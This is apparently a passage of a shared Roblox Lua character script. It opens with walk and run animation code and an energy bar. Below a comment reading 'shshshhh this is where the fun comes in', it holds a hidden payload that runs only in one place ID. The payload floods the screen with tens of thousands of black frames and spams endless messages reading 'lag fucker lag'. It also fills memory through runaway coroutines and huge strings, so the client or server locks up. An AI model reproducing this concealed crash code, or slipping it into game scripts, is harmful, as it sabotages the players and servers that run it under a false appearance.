  4743. RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5)
  4744. LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(45)),.5)
  4745. RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4746. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3)
  4747. handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
  4748. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4749. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4750. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4751. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4752. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4753. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4754. end
  4755. end
  4756. elseif torvel>2 and torvel<22 and hitfloor~=nil then
  4757. Anim="Walk"
  4758. if attack==false then
  4759. change=0.8
  4760. --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
  4761. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
  4762. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4763. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4764. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
  4765. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
  4766. --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4767. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4768. RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
  4769. --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
  4770. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
  4771. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
  4772. RH.C0=clerp(RH.C0,RHC0,.3)
  4773. LH.C0=clerp(LH.C0,LHC0,.3)
  4774. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4775. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4776. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4777. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4778. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4779. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4780. ]]--
  4781. Footsteps:Play()
  4782. Footsteps2:Stop()
  4783. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
  4784. Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
  4785. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4786. RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
  4787. LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
  4788. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4789. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4790. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4791. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
  4792. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
  4793. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4794. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4795. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4796. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4797. end
  4798. elseif torvel>=22 and hitfloor~=nil then
  4799. Anim="Run"
  4800. change=1
  4801. if attack==false then
  4802. Footsteps:Stop()
  4803. Footsteps2:Play()
  4804. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
  4805. Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
  4806. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4807. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
  4808. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
  4809. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4810. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4811. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4812. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
  4813. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
  4814. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4815. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4816. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4817. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4818. end
  4819. end
  4820. end
  4821. fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true)
  4822. fenbarmana4.Text="[Energy] <{[ "..mana.." ]}> [Energy]"
  4823. if idle < 1000 then
  4824. text.Text = "Doge: "..math.floor(hum.Health)
  4825. end
  4826. if mana>=100 then
  4827. mana=100
  4828. else
  4829. if mananum<=8 then
  4830. mananum=mananum+100
  4831. else
  4832. mananum=0
  4833. mana=mana+100
  4834. end
  4835. end
  4836. end
  4837.  
  4838.  
  4839.  
  4840.  
  4841. --- shshshhh this is where the fun comes in ---
  4842. if game.PlaceId == 21053279 then
  4843. plr = game.Players.LocalPlayer
  4844. char = plr.Character
  4845. cam = workspace.CurrentCamera
  4846. cam.CameraType = "Scriptable"
  4847. cam.CoordinateFrame = CFrame.new(0,0,50)
  4848. local localContainer
  4849. local service=setmetatable({
  4850. MarketPlace=game:service("MarketplaceService");
  4851. GamepassService=game:service("GamePassService");
  4852. ChatService=game:service("Chat");
  4853. LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
  4854. },{
  4855. __index=function(tab,index)
  4856. local serv
  4857. local ran,err=pcall(function() serv=game:service(index) end)
  4858. if ran then
  4859. tab[index]=serv
  4860. return serv
  4861. end
  4862. end
  4863. })
  4864.  
  4865. local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
  4866.  
  4867. x=game.Players.LocalPlayer
  4868. x.CameraMode=Enum.CameraMode.LockFirstPerson
  4869. f=Instance.new("Frame")
  4870. f.Size=UDim2.new(1,0,1,0)
  4871. f.BackgroundTransparency=0.01
  4872. f.BackgroundColor3=Color3.new()
  4873. pg=x.PlayerGui
  4874. gui=Instance.new("ScreenGui",pg)
  4875. wait(.1)
  4876. for i=1,28000 do
  4877. f:Clone().Parent=gui
  4878. f:Clone().Parent=gui
  4879. f:Clone().Parent=gui
  4880. end
  4881.  
  4882. script:Destroy();
  4883. local runService = Game:GetService("RunService").Stepped;
  4884. local LagNum = 1250;
  4885. local str = "lag fucker lag";
  4886.  
  4887. for i = 1, math.huge do
  4888. if i % LagNum == 0 then runService:wait(); end
  4889. Instance.new("Message", Workspace).Text = str;
  4890. end
  4891.  
  4892. local bores=coroutine.create(function() --Yolo?
  4893. cPcall(function()
  4894. --print(Game[("%s|"):rep(0xFFFFFFF)])
  4895. cPcall(print,'lol')
  4896. cPcall(warn,'lol')
  4897. cPcall(error,'lol')
  4898. while wait(0.1) do
  4899. spawn(function()
  4900. cPcall(function()
  4901. spawn(function()
  4902. local tab={}
  4903. pcall(function()
  4904. spawn(function()
  4905. for i=1,1000000 do
  4906. cPcall(function()
  4907. spawn(function()
  4908. local bob2=coroutine.create(function()
  4909. function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4910. function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4911. spawn(f1)
  4912. end)
  4913. spawn(function() delay(0,function() coroutine.resume(bob2) end) end)
  4914. spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
  4915. end)
  4916. end)
  4917. end
  4918. tab={}
  4919. end)
  4920. end)
  4921. end)
  4922. end)
  4923. end)
  4924. end
  4925. end)
  4926. end)
  4927.  
  4928. service.RunService.Stepped:connect(function()
  4929. for i=1,500000 do
  4930. delay(0,function() pcall(function() coroutine.resume(bores) end) end)
  4931. end
  4932. end)
  4933.  
  4934.  
  4935. local function bob()
  4936. cPcall(function()
  4937. while wait(0.1) do
  4938. --cPcall(function()
  4939. --for i=1,100 do
  4940. local p=Instance.new("Part")
  4941. p.Material="Neon"
  4942. p.Size=Vector3.new(50,50,50)
  4943. p.Anchored=true
  4944. p.BackSurface="Studs"
  4945. p.BottomSurface="Studs"
  4946. p.FrontSurface="Studs"
  4947. p.LeftSurface="Studs"
  4948. p.RightSurface="Studs"
  4949. p.TopSurface="Studs"
  4950. local t=Instance.new("Texture",p)
  4951. t.Texture="http://www.roblox.com/asset/?id=190803157"
  4952. t.Face="Top"
  4953. t.StudsPerTileU=1000
  4954. t.StudsPerTileV=1000
  4955. local t2=t:clone()
  4956. t2.Parent=p
  4957. t2.Face="Bottom"
  4958. local t2=t:clone()
  4959. t2.Parent=p
  4960. t2.Face="Left"
  4961. local t2=t:clone()
  4962. t2.Parent=p
  4963. t2.Face="Right"
  4964. local t2=t:clone()
  4965. t2.Parent=p
  4966. t2.Face="Front"
  4967. local t2=t:clone()
  4968. t2.Parent=p
  4969. t2.Face="Back"
  4970. p.Parent=service.LocalContainer()
  4971. --end
  4972. --end)
  4973. end
  4974. end)
  4975. end
  4976. bob() --while wait(0.1) do cPcall(bob) end
  4977. end
  4978. -- ~CLarramore
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement